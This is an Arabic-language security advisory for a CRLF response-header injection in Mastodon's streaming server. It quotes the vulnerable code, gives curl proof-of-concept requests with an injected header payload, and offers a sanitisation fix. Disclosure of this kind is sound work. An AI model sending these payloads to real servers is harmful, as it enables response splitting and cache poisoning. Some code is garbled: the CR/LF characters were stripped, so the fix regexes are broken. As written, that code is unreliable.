CVE-2026-XXXXX: حقن ترويسة استجابة HTTP (CRLF) في خادم البث في Mastodon

نظرة عامة على الثغرة

العنصر	التفاصيل
معرّف CVE	CVE-2026-XXXXX
المنتج المتأثر	Mastodon (خادم البث)
الإصدار المتأثر	<= 4.5.9
المكوّن	الأسطر 188-206 من streaming/index.js
نوع الثغرة	حقن ترويسة استجابة HTTP / حقن CRLF
CWE	CWE-74
CVSS 3.1	6.5 (متوسطة)
ناقل الهجوم	الشبكة
المُبلِّغ	qitian [email protected]

وصف الثغرة

عندما يفشل طلب ترقية WebSocket في المصادقة، يقوم خادم البث في Mastodon بإنشاء استجابة HTTP يدويًا عند الأسطر 188-206 من streaming/index.js ويكتب errorMessage مباشرةً في ترويسة الاستجابة X-Error-Message عبر socket.end() دون تنقية أحرف أو .

يتيح هذا لمهاجم بعيد غير مصادَق حقن ترويسات HTTP عشوائية أو تنفيذ تقسيم استجابة HTTP (HTTP Response Splitting).

الكود المُعرَّض للثغرة (الأسطر 188-206 من streaming/index.js)

const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}

`
);

التأثير

حقن ترويسة HTTP: حقن ترويسات HTTP عشوائية
تقسيم استجابة HTTP: حقن جسم استجابة HTTP ثانٍ (تسميم ذاكرة التخزين المؤقت)
كشف المعلومات: كشف رسائل الخطأ الداخلية للمستخدمين غير المصادَقين

إثبات المفهوم

PoC 1 - الاكتشاف الأساسي

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

المتوقع: HTTP/1.1 401 Unauthorized، X-Error-Message: Missing access token

PoC 2 - حقن CRLF

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

المعالجة

قم بتنقية errorMessage قبل الكتابة إلى ترويسة المقبس:

const sanitizedMessage = String(errorMessage || '')
  .replace(/
/g, '%0D')
  .replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

الجدول الزمني

التاريخ	الحدث
2026-04-22	تم اكتشاف الثغرة وإنشاء إثبات المفهوم
2026-04-22	تم تقديم تقرير CVE إلى MITRE / VDB

المراجع

إخلاء مسؤولية: إثبات المفهوم هذا مخصص للأغراض التعليمية وأبحاث الأمن فقط.

CVE-2026-Mastodon-Streaming-CRLF-Injection

الأكثر شعبية